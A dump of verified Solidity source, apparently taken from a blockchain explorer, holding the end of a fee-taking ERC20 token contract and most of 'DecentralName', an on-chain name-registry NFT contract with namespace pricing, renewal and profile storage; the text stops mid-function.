excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; metadata = pair;emit SetAutomatedMarketMakerPair(pair, value); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); minFeeAmount = swapTokensAtAmount - contractBalance; uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devAddress).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(charityAddress).call{value: address(this).balance}(""); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } }

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v0.8.18+commit.87f61d96

Default

MIT

ipfs://6a4d8438461894348402ebc1979f764b7165d63afc9acd5c848f54c1683a2c27

DecentralName

contracts/DecentralName.sol

0xb635c72ef24f2a0f782e967fa90fbcbf2406463b

Solidity

// SPDX-License-Identifier: MIT pragma solidity 0.8.9; /* Errors: E1: No authority E2: Invalid namespace E3: Invalid name E4: Name expired E5: Array count mismatch E6: Fee not enough E7: Namespace already exists E8: Cannot modify price E9: Invalid price E10: Too many custom price names E11: Already open E12: Already disabled E13: Not open yet E14: Cannot receive name E15: Not support ping E16: Content too long E17: Key mismatch E18: Invalid key E19: Too many keys E20: Transfer not allowed E21: Not need renewal E22: Not expired yet E23: Invalid lifetime E24: Invalid times E25: Transfer not allow: to whom already own non-expired name E26: Invalid renewal price param */ import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; contract DecentralName is ReentrancyGuard, ERC721 { uint256 constant public MAX_PROFILE_KEY_COUNT = 200; uint256 constant public MAX_CUSTOM_PRICE_NAMES_COUNT = 200; uint256 constant public MAX_RENEWAL_TIMES_PER_TIMES = 20; uint256[] public NAMESPACE_PRICE_LIST = [250 ether, 50 ether, 40 ether, 20 ether, 10 ether, 5 ether, 5 ether, 2 ether]; event BuyNamespace(bytes32 indexed namespace); event TransferNamespaceAdmin(bytes32 indexed namespace, address admin); event SetNamespaceBeneficiary(bytes32 indexed namespace, address beneficiary); event SetNamespaceDesc(bytes32 indexed namespace); event SetPrice(bytes32 indexed namespace); event SetCustomPrice(bytes32 indexed namespace); event OpenNamespace(bytes32 indexed namespace); event DisableModifyPrice(bytes32 indexed namespace); event AssignName(bytes32 indexed namespace, bytes32 indexed name, address user); event Renewal(bytes32 indexed namespace, bytes32 indexed name); event Ping(bytes32 indexed namespace, bytes32 indexed name); event SetProfile(bytes32 indexed namespace, bytes32 indexed name); struct NamespaceInfo { address admin; // Who can modify the namespace's attributes address payable beneficiary; // Where the registration/renewal fee goes to bytes desc; // Length <= 256, shown as innerHTML. e.g., "visit <a href="https://nostr.com" target="_blank">nostr.com</a> for more info". uint256 startStamp; // When was the namespace created uint256 openStamp; // When was the namespace open for registration(i.e., anyone can register through current contract) uint256 renewalLifetime; // Renewal period, 0 means not need renewal. uint256 pingLifetime; // Only makes sense when renewalLifetime == 0. If pingLifetime > 0, user must ping before pingExpiredStamp(only cost gas fee), otherwise the name is expired. uint256[25] registerPriceList; // 1d, 1L, _, 2d, 2L, 2Misc, 3d, 3L, 3Misc, 4d, 4L, 4Misc, 5d, 5L, 5Misc, 6d, 6L, 6Misc, 7d, 7L, 7Misc, 8d, 8L, 8Misc, remain. uint256 renewalPriceParam; // renewalPriceParam = a * 1000000 + b * 1000 + c, Renewal-fee = (a + b * Registration-fee) / c bool bAllowModifyPrice; // Can namespace admin modify price? bytes32[] customPriceNames; // Custom registration prices for at most MAX_CUSTOM_PRICE_NAMES_COUNT names. } struct NameInfo { bytes32 namespace; bytes32 name; uint256 renewalExpiredStamp; uint256 pingExpiredStamp; bytes32[] profileKeyList; // display name, avatar, bio, url, nostr, email, btc, lightning, .. } bytes32[] public namespaceList; mapping(bytes32 => NamespaceInfo) public namespaceMap; // namespace => NamespaceInfo mapping(bytes32 => mapping(bytes32 => uint256)) public customPriceNamesMap; // namespace => (name => custom-price) uint256 public curTokenId = 0; mapping(address => uint256) public addr2TokenIdMap; // address => tokenId mapping(uint256 => NameInfo) public id2NameInfoMap; // tokenId => NameInfo mapping(uint256 => mapping(bytes32 => bytes)) public id2ProfileValueMap; // tokenId => (profile-key => profile-value) mapping(bytes32 => mapping(bytes32 => uint256)) public name2IdMap; // (namespace => (name => tokenId)) constructor() ERC721("DecentralName", "DNAME") { _initGenesis(); } //////// Frequent function resolveAddress(address user) public view returns (bool bResult, uint256 tokenId, bytes32 namespace, bytes32 name) { tokenId = addr2TokenIdMap[user]; if (tokenId > 0) { (bResult, namespace, name) = resolveTokenId(tokenId); } } function resolveAddressFull(address user) public view returns (bool bResult, uint256 tokenId, NameInfo memory nameInfo, bytes[] memory profileValueList) { (bResult, tokenId, nameInfo.namespace, nameInfo.name) = resolveAddress(user); if (bResult) { (, , profileValueList) = getProfileKeysAndValues(nameInfo.namespace, nameInfo.name); nameInfo = id2NameInfoMap[tokenId]; } } function resolveName(bytes32 namespace, bytes32 name) public view returns (bool bResult, address owner) { uint256 tokenId = name2IdMap[namespace][name]; if (tokenId > 0) { owner = ownerOf(tokenId); NameInfo storage nInfo = id2NameInfoMap[tokenId]; if (!_isNameExpired(namespaceMap[nInfo.namespace], nInfo)) { bResult = true; } } } function resolveNameFull(bytes32 namespace, bytes32 name) public view returns (bool bResult, uint256 tokenId, address owner, NameInfo memory nameInfo, bytes[] memory profileValueList) { (bResult, ,profileValueList) = getProfileKeysAndValues(namespace, name); if (bResult) { tokenId = name2IdMap[namespace][name]; owner = ownerOf(tokenId); nameInfo = id2NameInfoMap[tokenId]; } } // Query many names to register function queryManyNames(bytes32[] calldata inNamespaceList, bytes32[] calldata inNameList) public view returns (bool[] memory resultList, address[] memory ownerList, uint256[] memory priceList) { uint256 nameListLen = inNameList.length; require(nameListLen == inNamespaceList.length, 'E5'); resultList = new bool[](nameListLen); ownerList = new address[](nameListLen); priceList = new uint256[](nameListLen); for (uint256 i; i < nameListLen; ++i) { uint256 tokenId = name2IdMap[inNamespaceList[i]][inNameList[i]]; NamespaceInfo storage nsInfo = namespaceMap[inNamespaceList[i]]; if (tokenId > 0 && !_isNameExpired(nsInfo, id2NameInfoMap[tokenId])) { resultList[i] = false; ownerList[i] = ownerOf(tokenId); } else if (nsInfo.openStamp > 0) { resultList[i] = true; (, priceList[i]) = getRegistrationPrice(inNamespaceList[i], inNameList[i]); } } } function resolveTokenId(uint256 tokenId) public view returns (bool bResult, bytes32 namespace, bytes32 name) { NameInfo storage nInfo = id2NameInfoMap[tokenId]; NamespaceInfo storage nsInfo = namespaceMap[nInfo.namespace]; if (nsInfo.startStamp > 0 && !_isNameExpired(nsInfo, nInfo)) { bResult = true; namespace = nInfo.namespace; name = nInfo.name; } } function getNamespaceInfos(bytes32[] memory inNamespaceList) public view returns (NamespaceInfo[] memory results) { uint256 listLen = inNamespaceList.length; results = new NamespaceInfo[](listLen); for (uint256 i; i < listLen; ++i) { results[i] = namespaceMap[inNamespaceList[i]]; } } function getFullNamespaceInfos() public view returns (bytes32[] memory outNamespaceList, NamespaceInfo[] memory results) { outNamespaceList = namespaceList; results = getNamespaceInfos(namespaceList); } //////// Namespace function getNamespacePrice(bytes32 namespace) public view returns (bool bResult, uint256 price) { (bool bOk, uint256 alphaNum, uint256 digitNum, uint256 underscoreNum) = parseName(namespace); if (bOk && (namespace[0] >= 0x61 && namespace[0] <= 0x7a)) { // For namespace, first character must be lower-case-alpha bResult = true; uint256 totalLen = alphaNum + digitNum + underscoreNum; if (totalLen <= NAMESPACE_PRICE_LIST.length) { price = NAMESPACE_PRICE_LIST[totalLen - 1]; } else { price = NAMESPACE_PRICE_LIST[NAMESPACE_PRICE_LIST.length - 1]; } } } function buyNamespace(bytes32 namespace, uint256 renewalLifetime, uint256 pingLifetime) payable external nonReentrant { (bool bOk, uint256 price) = getNamespacePrice(namespace); require(bOk, 'E2'); require(renewalLifetime == 0 || (renewalLifetime >= 1 days && renewalLifetime <= 36500 days), 'E23'); if (renewalLifetime > 0) { require(pingLifetime == 0, 'E23'); } else { require(pingLifetime == 0 || (pingLifetime >= 1 days && pingLifetime <= 36500 days), 'E23'); } require(msg.value == price, 'E6'); payable(0).transfer(price); // burn NamespaceInfo storage nsInfo = namespaceMap[namespace]; require(nsInfo.startStamp == 0, 'E7'); namespaceList.push(namespace); nsInfo.admin = msg.sender; nsInfo.beneficiary = payable(msg.sender); // nsInfo.desc nsInfo.startStamp = block.timestamp; // nsInfo.openStamp nsInfo.renewalLifetime = renewalLifetime; nsInfo.pingLifetime = pingLifetime; // nsInfo.registerPriceList // nsInfo.renewalPriceParam nsInfo.bAllowModifyPrice = true; // nsInfo.customPriceNames emit BuyNamespace(namespace); } function transferNamespaceAdmin(bytes32 namespace, address admin) external nonReentrant { NamespaceInfo storage nsInfo = namespaceMap[namespace]; require(nsInfo.admin == msg.sender, 'E1'); nsInfo.admin = admin; emit TransferNamespaceAdmin(namespace, admin); } function setNamespaceBeneficiary(bytes32 namespace, address payable beneficiary) external nonReentrant { NamespaceInfo storage nsInfo = namespaceMap[namespace]; require(nsInfo.admin == msg.sender || nsInfo.beneficiary == msg.sender, 'E1'); nsInfo.beneficiary = beneficiary; emit SetNamespaceBeneficiary(namespace, beneficiary); } function setNamespaceDesc(bytes32 namespace, bytes calldata desc) external nonReentrant { NamespaceInfo storage nsInfo = namespaceMap[namespace]; require(nsInfo.admin == msg.sender, 'E1'); require(desc.length <= 256, 'E16'); nsInfo.desc = desc; emit SetNamespaceDesc(namespace); } function setPrice(bytes32 namespace, uint256[25] calldata registerPriceList, uint256 renewalPriceParam) external nonReentrant { NamespaceInfo storage nsInfo = namespaceMap[namespace]; require(nsInfo.admin == msg.sender, 'E1'); require(nsInfo.bAllowModifyPrice, 'E8'); require(nsInfo.renewalLifetime == 0 || renewalPriceParam % 1000 != 0, 'E26'); nsInfo.registerPriceList = registerPriceList; nsInfo.renewalPriceParam = renewalPriceParam; emit SetPrice(namespace); } function setCustomPrice(bytes32 namespace, bytes32[] calldata nameList, uint256[] calldata priceList) external nonReentrant { NamespaceInfo storage nsInfo = namespaceMap[namespace]; require(nsInfo.admin == msg.sender, 'E1'); require(nsInfo.bAllowModifyPrice, 'E8'); uint256 nameLen = nameList.length; require(nameLen == priceList.length, 'E5'); bytes32[] storage customNames = nsInfo.customPriceNames; mapping(bytes32 => uint256) storage priceMap = customPriceNamesMap[namespace]; for (uint256 i; i < nameLen; ) { bytes32 name = nameList[i]; if (priceMap[name] == 0) { require(isNameValid(name), 'E3'); customNames.push(name); } require(priceList[i] > 0, 'E9'); // i.e., not allow cancel set custom name price priceMap[name] = priceList[i]; unchecked { ++i; } } require(customNames.length <= MAX_CUSTOM_PRICE_NAMES_COUNT, 'E10'); emit SetCustomPrice(namespace); } function getCustomPriceInfo(bytes32 namespace) public view returns (bytes32[] memory nameList, uint256[] memory priceList) { NamespaceInfo storage nsInfo = namespaceMap[namespace]; nameList = nsInfo.customPriceNames; uint256 nameListLen = nameList.length; priceList = new uint256[](nameListLen); mapping(bytes32 => uint256) storage priceMap = customPriceNamesMap[namespace]; for (uint256 i; i < nameListLen; ++i) { priceList[i] = priceMap[nameList[i]]; } } // Open registration, so that anyone can register through current contract; Otherwise, only admin can register through registerMany(with bByAdmin=true) function openRegistration(bytes32 namespace) external nonReentrant { NamespaceInfo storage nsInfo = namespaceMap[namespace]; require(nsInfo.admin == msg.sender, 'E1'); require(nsInfo.openStamp == 0, 'E11'); require(nsInfo.renewalLifetime == 0 || nsInfo.renewalPriceParam % 1000 != 0, 'E26'); nsInfo.openStamp = block.timestamp; emit OpenNamespace(namespace); } function disableModifyPrice(bytes32 namespace) external nonReentrant { NamespaceInfo storage nsInfo = namespaceMap[namespace]; require(nsInfo.admin == msg.sender, 'E1'); require(nsInfo.bAllowModifyPrice, 'E12'); require(nsInfo.renewalLifetime == 0 || nsInfo.renewalPriceParam % 1000 != 0, 'E26'); nsInfo.bAllowModifyPrice = false; emit DisableModifyPrice(namespace); } //////// Name function register(bytes32 namespace, bytes32 name) external payable nonReentrant { NamespaceInfo storage nsInfo = namespaceMap[namespace]; require(nsInfo.openStamp > 0, 'E13'); (bool bCanReceiveName,) = _canReceiveName(msg.sender); require(bCanReceiveName, 'E14'); (bool bOk, uint256 price) = getRegistrationPrice(namespace, name); require(bOk, 'E3'); if (price > 0) { require(msg.value >= price, 'E6'); nsInfo.beneficiary.transfer(msg.value); } _assignNameToUser(namespace, name, msg.sender); } // Force register name. If current address already owns non-expired name, burn it firstly function forceRegister(bytes32 namespace, bytes32 name) external payable nonReentrant { NamespaceInfo storage nsInfo = namespaceMap[namespace]; require(nsInfo.openStamp > 0, 'E13'); (bool bCanReceiveName, uint256 tokenId) = _canReceiveName(msg.sender); if (!bCanReceiveName) { _removeItem(tokenId); } (bool bOk, uint256 price) = getRegistrationPrice(namespace, name); require(bOk, 'E3'); if (price > 0) { require(msg.value >= price, 'E6'); nsInfo.beneficiary.transfer(msg.value); } _assignNameToUser(namespace, name, msg.sender); } function registerMany(bool bByAdmin, bytes32 namespace, bytes32[] calldata nameList, address[] calldata userList) external payable nonReentrant returns (address[] memory failList, uint256 failCount) { NamespaceInfo storage nsInfo = namespaceMap[namespace]; if (bByAdmin) { require(nsInfo.admin == msg.sender, 'E1'); } else { require(nsInfo.openStamp > 0, 'E13'); } uint256 nameLen = nameList.length; require(nameLen == userList.length, 'E5'); failList = new address[](nameLen); uint256 totalFee = 0; for (uint256 i; i < nameLen; ) { require(userList[i] != address(0), 'E14'); (bool bCanReceiveName,) = _canReceiveName(userList[i]); if (bCanReceiveName) { if (bByAdmin) { require(isNameValid(nameList[i]), 'E3'); } else { (bool bResult, uint256 price) = getRegistrationPrice(namespace, nameList[i]); require(bResult, 'E3'); totalFee += price; } _assignNameToUser(namespace, nameList[i], userList[i]); } else { failList[failCount++] = userList[i]; } unchecked { ++i; } } if (totalFee > 0) { require(totalFee <= msg.value, 'E6'); nsInfo.beneficiary.transfer(totalFee); } if (totalFee < msg.value) { payable(msg.sender).transfer(msg.value - totalFee); } } function renewal(bytes32 namespace, bytes32 name, uint256 times) external payable nonReentrant returns (bool bResult) { NamespaceInfo storage nsInfo = namespaceMap[namespace]; require(times >= 1 && times <= MAX_RENEWAL_TIMES_PER_TIMES, 'E24'); require(nsInfo.renewalLifetime > 0, 'E21'); uint256 tokenId = name2IdMap[namespace][name]; if (tokenId > 0) { NameInfo storage nInfo = id2NameInfoMap[tokenId]; if (!_isNameExpired(nsInfo, nInfo)) { (, uint256 renewalPrice) = getRenewalPrice(namespace, name); if (renewalPrice > 0) { require(msg.value >= renewalPrice * times, 'E6'); nsInfo.beneficiary.transfer(msg.value); } nInfo.renewalExpiredStamp = nInfo.renewalExpiredStamp + times * nsInfo.renewalLifetime; emit Renewal(namespace, name); bResult = true; } } } function renewalMany(bool bByAdmin, bytes32 namespace, bytes32[] calldata nameList, uint256[] calldata timesList) external payable nonReentrant returns (bytes32[] memory failList, uint256 failCount) { NamespaceInfo storage nsInfo = namespaceMap[namespace]; if (bByAdmin) { require(nsInfo.admin == msg.sender, 'E1'); } require(nsInfo.renewalLifetime > 0, 'E21'); uint256 nameLen = nameList.length; require(nameLen == timesList.length, 'E5'); failList = new bytes32[](nameLen); uint256 totalFee = 0; for (uint256 i; i < nameLen; ) { bytes32 name = nameList[i]; uint256 tokenId = name2IdMap[namespace][name]; if (tokenId > 0) { NameInfo storage nInfo = id2NameInfoMap[tokenId]; if (!_isNameExpired(nsInfo, nInfo)) { if (!bByAdmin) { (, uint256 renewalPrice) = getRenewalPrice(namespace, name); totalFee += renewalPrice * timesList[i]; } require(timesList[i] >= 1 && timesList[i] <= MAX_RENEWAL_TIMES_PER_TIMES, 'E24'); nInfo.renewalExpiredStamp = nInfo.renewalExpiredStamp + timesList[i] * nsInfo.renewalLifetime; emit Renewal(namespace, name); } else { failList[failCount++] = name; } } else { failList[failCount++] = name; } unchecked { ++i; } } if (totalFee > 0) { require(totalFee <= msg.value, 'E6'); nsInfo.beneficiary.transfer(totalFee); if (totalFee < msg.value) { payable(msg.sender).transfer(msg.value - totalFee); } } return (failList, failCount); } function ping(bytes32 namespace, bytes32 name) external nonReentrant { NamespaceInfo storage nsInfo = namespaceMap[namespace]; require(nsInfo.renewalLifetime == 0 && nsInfo.pingLifetime > 0, 'E15'); uint256 tokenId = name2IdMap[namespace][name]; require(ownerOf(tokenId) == msg.sender, 'E1'); NameInfo storage nInfo = id2NameInfoMap[tokenId]; require(block.timestamp <= nInfo.pingExpiredStamp, 'E4'); nInfo.pingExpiredStamp = block.timestamp + nsInfo.pingLifetime; emit Ping(namespace, name); } function getRegistrationPrice(bytes32 namespace, bytes32 name) public view returns (bool, uint256) { NamespaceInfo storage nsInfo = namespaceMap[namespace]; if (nsInfo.startStamp == 0) { return (false, 0); } uint256 customPrice = customPriceNamesMap[namespace][name]; if (customPrice > 0) { return (true, customPrice); } (bool bOk, uint256 alphaNum, uint256 digitNum, uint256 underscoreNum) = parseName(name); if (!bOk) { return (false, 0); } uint256 totalLen = alphaNum + digitNum + underscoreNum; if (totalLen <= 8) { if (underscoreNum == 0 && (alphaNum == 0 || digitNum == 0)) { // pure-alpha or pure-digit or empty if (digitNum > 0) { return (true, nsInfo.registerPriceList[(totalLen - 1) * 3]); } else if (alphaNum > 0) { return (true, nsInfo.registerPriceList[totalLen * 3 - 2]); } else { return (false, 0); } } else { // Misc return (true, nsInfo.registerPriceList[totalLen * 3 - 1]); } } return (true, nsInfo.registerPriceList[nsInfo.registerPriceList.length - 1]); } function getRenewalPrice(bytes32 namespace, bytes32 name) public view returns (bool, uint256) { (bool bOk, uint256 regPrice) = getRegistrationPrice(namespace, name); if (bOk) { NamespaceInfo storage nsInfo = namespaceMap[namespace]; if (nsInfo.renewalLifetime == 0) { return (true, 0); // not need renewal } uint256 param = nsInfo.renewalPriceParam; return (true, ((param/1000000) + ((param/1000)%1000) * regPrice) / (param % 1000)); } return (false, 0); } function parseName(bytes32 name) public pure returns (bool, uint256, uint256, uint256) { bool bReachEnd = false; uint256 alphaNum = 0; uint256 digitNum = 0; uint256 underscoreNum = 0; for (uint256 i; i < 32; ) { bytes1 ch = name[i]; if (ch > 0) { if (bReachEnd) { return (false, 0, 0, 0); } if (ch >= 0x61 && ch <= 0x7a) { ++alphaNum; } else if (ch >= 0x30 && ch <= 0x39) { ++digitNum; } else if (ch == 0x5f) { ++underscoreNum; } else { return (false, 0, 0, 0); } } else { if (!bReachEnd) { bReachEnd = true; } } unchecked { ++i; } } if (alphaNum == 0 && digitNum == 0 && underscoreNum == 0) { return (false, 0, 0, 0); } return (true, alphaNum, digitNum, underscoreNum); } function canReceiveName(address user) public view returns (bool bCanReceiveName) { (bCanReceiveName, ) = _canReceiveName(user); } function canRegisterName(bytes32 namespace, bytes32 name) public view returns (bool) { return canRegisterName(namespace, name, true); } function canRegisterName(bytes32 namespace, bytes32 name, bool bCheckOpen) public view returns (bool) { NamespaceInfo storage nsInfo = namespaceMap[namespace]; if (nsInfo.startStamp == 0) { return false; } if (bCheckOpen && nsInfo.openStamp == 0) { return false; } if (!isNameValid(name)) { return false; } uint256 tokenId = name2IdMap[namespace][name]; if (tokenId == 0) { return true; } return _isNameExpired(nsInfo, id2NameInfoMap[tokenId]); } function isNameValid(bytes32 name) public pure returns (bool) { uint256 flag = 0; for (uint256 i = 0; i < 32; ++i) { bytes1 ch = name[i]; if (ch > 0) { if (flag == 2) { return false; } else { flag = 1; } if ((ch < 0x61 || ch > 0x7a) && (ch < 0x30 || ch > 0x39) && ch != 0x5f) { // not-lower-case-alpha && not-digit && not-underscore return false; } } else { if (flag != 2) { if (flag == 0) { return false; } flag = 2; } } } return flag != 0; } // display name: 0x646973706c6179206e616d650000000000000000000000000000000000000000 // avatar: 0x6176617461720000000000000000000000000000000000000000000000000000 // bio: 0x62696f0000000000000000000000000000000000000000000000000000000000 // url: 0x75726c0000000000000000000000000000000000000000000000000000000000 // nostr: 0x6e6f737472000000000000000000000000000000000000000000000000000000 // email: 0x656d61696c000000000000000000000000000000000000000000000000000000 // btc: 0x6274630000000000000000000000000000000000000000000000000000000000 // lightning: 0x6c696768746e696e670000000000000000000000000000000000000000000000 function getProfileValue(bytes32 namespace, bytes32 name, bytes32 key) public view returns (bool bResult, bytes memory value) { uint256 tokenId = name2IdMap[namespace][name]; if (tokenId > 0) { if (!_isNameExpired(namespaceMap[namespace], id2NameInfoMap[tokenId])) { bResult = true; value = id2ProfileValueMap[tokenId][key]; } } } function getProfileKeysAndValues(bytes32 namespace, bytes32 name) public view returns (bool bResult, bytes32[] memory keyList, bytes[] memory valueList) { uint256 tokenId = name2IdMap[namespace][name]; if (tokenId > 0) { NameInfo storage nInfo = id2NameInfoMap[tokenId]; if (!_isNameExpired(namespaceMap[namespace], nInfo)) { bResult = true; keyList = nInfo.profileKeyList; uint256 keyListLen = keyList.length; valueList = new bytes[](keyListLen); mapping(bytes32 => bytes) storage profileValueMap = id2ProfileValueMap[tokenId]; for (uint256 i; i < keyListLen; ++i) { valueList[i] = profileValueMap[keyList[i]]; } } } } // Set profile's custom key-value pairs. // If indexList[pos] > 0, set profileValueMap[keyList[indexList[pos]-1]] = valueList[pos]; // Otherwise, append keyList[pos] to profileKeyList, set profileValueMap[keyList[pos]] = valueList[pos]; function setProfileKeyValuePairs(bytes32 namespace, bytes32 name, uint256[] calldata indexList, bytes32[] calldata keyList, bytes[] calldata valueList) external nonReentrant { uint256 tokenId = name2IdMap[namespace][name]; require(ownerOf(tokenId) == msg.sender, 'E1'); NameInfo storage nInfo = id2NameInfoMap[tokenId]; require(!_isNameExpired(namespaceMap[namespace], nInfo), 'E4'); uint256 indexLen = indexList.length; require(indexLen == keyList.length, 'E5'); require(indexLen == valueList.length, 'E5'); mapping(bytes32 => bytes) storage profileValueMap = id2ProfileValueMap[tokenId]; bytes32[] storage profileKeyList = nInfo.profileKeyList; for (uint256 pos; pos < indexLen; ) { require(valueList[pos].length <= 128, 'E16'); if (indexList[pos] > 0) { // real index is curIndex - 1 bytes32 curKey = profileKeyList[indexList[pos] - 1]; require(curKey == keyList[pos], 'E17'); profileValueMap[curKey] = valueList[pos]; } else { bytes32 curKey = keyList[pos]; profileKeyList.push(curKey); require(curKey != 0, 'E18'); profileValueMap[curKey] = valueList[pos]; } unchecked { ++pos; } } require(profileKeyList.length <= MAX_PROFILE_KEY_COUNT, 'E19'); emit SetProfile(namespace, name); } function removeAllProfileKeys(bytes32 namespace, bytes32 name) external nonReentrant { uint256 tokenId = name2IdMap[namespace][name]; require(ownerOf(tokenId) == msg.sender, 'E1'); NameInfo storage nInfo = id2NameInfoMap[tokenId]; require(!_isNameExpired(namespaceMap[namespace], nInfo), 'E4'); mapping(bytes32 => bytes) storage profileValueMap = id2ProfileValueMap[tokenId]; bytes32[] memory keyList = nInfo.profileKeyList; uint256 keyListLen = keyList.length; for (uint256 i; i < keyListLen; ) { delete profileValueMap[keyList[i]]; unchecked { ++i; } } delete nInfo.profileKeyList; } //////// ERC721 function transferFrom(address from, address to, uint256 tokenId) public override nonReentrant { require(to != address(0), 'E14'); (bool bOk, ,) = resolveTokenId(tokenId); require(bOk, 'E20'); super.transferFrom(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override nonReentrant { require(to != address(0), 'E14'); (bool bOk, ,) = resolveTokenId(tokenId); require(bOk, 'E20'); super.safeTransferFrom(from, to, tokenId, data); } function tokenURI(uint256 tokenId) public view override returns (string memory) { _requireMinted(tokenId); return "ipfs://QmUqW8wFpcdYuk5CVFXYvpdsWjz7x9U1Yn6s9NT7f5Re8B"; } // Attention: others can still register the name after burn function burn(uint256 tokenId) external nonReentrant { require(ownerOf(tokenId) == msg.sender); NameInfo storage nInfo = id2NameInfoMap[tokenId]; require(!_isNameExpired(namespaceMap[nInfo.namespace], nInfo), 'E1'); _removeItem(tokenId); } function _beforeTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal override { if (to != address(0)) { (bool bCanReceiveName, uint256 userTokenId) = _canReceiveName(to); require(bCanReceiveName, 'E14'); if (userTokenId > 0) { _removeItem(userTokenId); } } super._beforeTokenTransfer(from, to, firstTokenId, batchSize); } function _afterTokenTransfer(address from, address to, uint256 firstTokenId, uint256 batchSize) internal override { if (from != address(0)) { addr2TokenIdMap[from] = 0; } if (to != address(0)) { addr2TokenIdMap[to] = firstTokenId; } super._afterTokenTransfer(from, to, firstTokenId, batchSize); } //////// Private function _canReceiveName(address user) private view returns (bool, uint256) { uint256 tokenId = addr2TokenIdMap[user]; if (tokenId == 0) { return (true, 0); } NameInfo storage nInfo = id2NameInfoMap[tokenId]; return (_isNameExpired(namespaceMap[nInfo.namespace], nInfo), tokenId); } function _isNameExpired(NamespaceInfo storage nsInfo, NameInfo storage nInfo) private view returns (bool) { if (nsInfo.renewalLifetime > 0) { return block.timestamp > nInfo.renewalExpiredStamp; } else { return nsInfo.pingLifetime > 0 ? block.timestamp > nInfo.pingExpiredStamp : false; } } function _assignNameToUser(bytes32 namespace, bytes32 name, address user) private { NamespaceInfo storage nsInfo = namespaceMap[namespace]; uint256 tokenId = name2IdMap[namespace][name]; if (tokenId > 0) { NameInfo storage nInfo = id2NameInfoMap[tokenId]; require(_isNameExpired(nsInfo, nInfo), 'E22'); if (nsInfo.renewalLifetime > 0) { nInfo.renewalExpiredStamp = block.timestamp + nsInfo.renewalLifetime; } else { nInfo.pingExpiredStamp = block.timestamp + nsInfo.pingLifetime; } if (ownerOf(tokenId) != user) { _transfer(ownerOf(tokenId), user, tokenId); } } else { _mint(user, ++curTokenId); bytes32[] memory profileKeyList; NameInfo memory nInfo = NameInfo(namespace, name, 0, 0, profileKeyList); if (nsInfo.renewalLifetime > 0) { nInfo.renewalExpiredStamp = block.timestamp + nsInfo.renewalLifetime; } else if (nsInfo.pingLifetime > 0) { nInfo.pingExpiredStamp = block.timestamp + nsInfo.pingLifetime; } id2NameInfoMap[curTokenId] = nInfo; name2IdMap[namespace][name] = curTokenId; } emit AssignName(namespace, name, user); } function _removeItem(uint256 tokenId) private { NameInfo storage nInfo = id2NameInfoMap[tokenId]; delete name2IdMap[nInfo.namespace][nInfo.name]; delete id2NameInfoMap[tokenId]; _burn(tokenId); } function _initGenesisNamespace(bytes32 namespace, address beneficiary, uint256 renewalLifetime, uint256 pingLifetime, uint256 renewalPriceParam, uint256 factor1, uint256 factor2) private { namespaceList.push(namespace); NamespaceInfo storage nsInfo = namespaceMap[namespace]; if (renewalPriceParam > 0) { nsInfo.admin = 0xF0296e8c771b7D422A7E1708324b4260d92D1cEe; } nsInfo.beneficiary = payable(beneficiary); // nsInfo.desc nsInfo.startStamp = block.timestamp; nsInfo.openStamp = block.timestamp; nsInfo.renewalLifetime = renewalLifetime; nsInfo.pingLifetime = pingLifetime; nsInfo.registerPriceList = [ factor1 * 2 ether, factor1 * 2 ether, factor1 * 1.5 ether, factor2 * 0.2 ether, factor2 * 0.2 ether, factor2 * 0.15 ether, factor2 * 0.02 ether, factor2 * 0.02 ether, factor2 * 0.01 ether, factor2 * 0.005 ether, factor2 * 0.005 ether, factor2 * 0.002 ether, factor2 * 0.002 ether, factor2 * 0.002 ether, factor2 * 0.001 ether, factor2 * 0.001 ether, factor2 * 0.001 ether, factor2 * 0.001 ether, factor2 * 0.001 ether, factor2 * 0.001 ether, factor2 * 0.001 ether, factor2 * 0.001 ether, factor2 * 0.001 ether, factor2 * 0.001 ether, factor2 * 0.001 ether]; nsInfo.renewalPriceParam = renewalPriceParam; if (renewalPriceParam > 0) { 